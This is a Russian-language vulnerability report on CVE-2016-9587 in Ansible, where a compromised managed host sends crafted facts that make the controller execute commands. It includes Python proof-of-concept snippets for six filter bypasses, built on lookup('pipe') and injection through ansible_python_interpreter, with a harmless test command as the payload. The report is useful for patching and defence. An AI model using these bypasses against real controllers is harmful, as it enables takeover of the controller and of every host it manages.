В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.
Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:
PAYLOAD = "touch /tmp/foobarbaz" LOOKUP = "lookup('pipe', '%s')" % PAYLOAD INTERPRETER_FACTS = { 'ansible_python_interpreter': '%s; cat /dev/null; echo {}' % PAYLOAD, 'ansible_connection': 'local', 'ansible_become': False, }
Метод 1, подстановка атрибутов через передачу информации о новом хосте:
data['add_host'] = { 'host_name': socket.gethostname(), 'host_vars': INTERPRETER_FACTS, }
Метод 2, через применение условных операторов:
known_conditionals_str = """ ansible_os_family == 'Debian' ansible_os_family == "Debian" ansible_os_family == 'RedHat' ansible_os_family == "RedHat" ansible_distribution == "CentOS" result|failed item 5 foo is defined """ known_conditionals = [x.strip() for x in known_conditionals_str.split('n')] for known_conditional in known_conditionals: data['ansible_facts'][known_conditional] = LOOKUP
Метод 3, через подстановку в шаблоне для модуля stat:
data.update({ 'stat': { 'exists': True, 'isdir': False, 'checksum': { 'rc': 0, 'ansible_facts': INTERPRETER_FACTS, }, } })
Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'n{{}}n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]", })
Метод 5, через подстановку шаблона в словарных ключах:
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': { "{{ %s }}" % LOOKUP: ''}, })
Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:
data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP, })